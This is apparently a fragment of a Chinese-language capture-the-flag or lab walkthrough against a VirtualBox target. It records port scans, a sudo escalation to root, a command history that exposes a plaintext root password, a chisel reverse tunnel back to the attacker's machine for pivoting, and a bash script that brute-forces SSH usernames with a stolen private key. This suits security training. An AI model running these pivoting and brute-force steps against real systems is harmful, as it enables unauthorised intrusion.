┌──(root㉿kali)-[/tmp] └─# nmap -Pn -n -p- 192.168.56.104 Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-24 02:06 EDT Nmap scan report for 192.168.56.104 Host is up (0.00098s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:8F:E3:09 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 14.40 seconds
hacktivist@debian1:/var/www/html/Anonymous-Connections/victims$ id id uid=1000(hacktivist) gid=1000(hacktivist) groups=1000(hacktivist),27(sudo) hacktivist@debian1:/var/www/html/Anonymous-Connections/victims$ sudo -l sudo -l Matching Defaults entries for hacktivist on debian1: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User hacktivist may run the following commands on debian1: (ALL : ALL) NOPASSWD: ALL
提权到root
history
1 2 3 4 5 6 7 8 9 10 11
root@debian1:/var/www/html/Anonymous-Connections/victims# history history 1 echo 'root:$uP3r_$3cUr3_D0ck3r' | chpasswd 2 cd 3 nano .bash_history 4 exit 5 id 6 ip a 7 nmap -Pn -n -p- 172.17.0.2/24 8 nmap -Pn -n -p- 10.10.10.10/24 9 history
root@debian1:/var/www/html/Anonymous-Connections/victims# nmap -Pn -n -p- 10.10.10.10/24 10.10/24 -n -p- 10.10.1 Starting Nmap 7.93 ( https://nmap.org ) at 2025-04-24 06:55 UTC sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 10.10.10.20, 16) => Operation not permitted Offending packet: TCP 10.10.10.10:50197 > 10.10.10.20:7523 S ttl=51 id=3850 iplen=44 seq=3559377068 win=1024 <mss 1460> sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 10.10.10.1, 16) => Operation not permitted Offending packet: TCP 10.10.10.10:50197 > 10.10.10.1:2952 S ttl=46 id=18601 iplen=44 seq=3559377068 win=1024 <mss 1460> Nmap scan report for 10.10.10.1 Host is up (0.000011s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 02:42:D4:5D:80:BF (Unknown)
Nmap scan report for 10.10.10.20 Host is up (0.000017s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 2222/tcp open EtherNetIP-1 MAC Address: 02:42:0A:0A:0A:14 (Unknown)
Nmap scan report for 10.10.10.10 Host is up (0.0000080s latency). Not shown: 65534 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http
Nmap done: 256 IP addresses (3 hosts up) scanned in 7.98 seconds
端口转发
在10.10.10.20中存在2222端口开放，我们需要端口转发。
上传chisel
1 2
kali : chisel server -p 12345 --reverse baji : chisel client kali-ip kali-port R:port:127.0.0.1:port
if ( $# -lt 3 );then echo -e "${BLUE}Usage:${NC} <user-dict> <target-ip> <id_rsa_path>" exit 1 fi
USERS_DICT=$1 RHOST=$2 ID_RSA_PATH=$3
if [ ! -f "$USERS_DICT" ]; then echo -e "${RED} $USERS_DICT does not exist! ${NC}" exit 1 fi
if [ ! -f "$ID_RSA_PATH" ]; then echo -e "${RED} $ID_RSA_PATH does not exist! ${NC}" exit 1 fi
chmod 600 "$ID_RSA_PATH"
for user in $(cat $USERS_DICT); do timeout 0.5 ssh -i "$ID_RSA_PATH" "$user"@"$RHOST" -x id &>/dev/null if [ $? -eq 0 ];then echo -e "${GREEN}[+] User $user is valid ${NC}" exit else echo -e "${RED}[-] User $user is invalid${NC}" fi done }
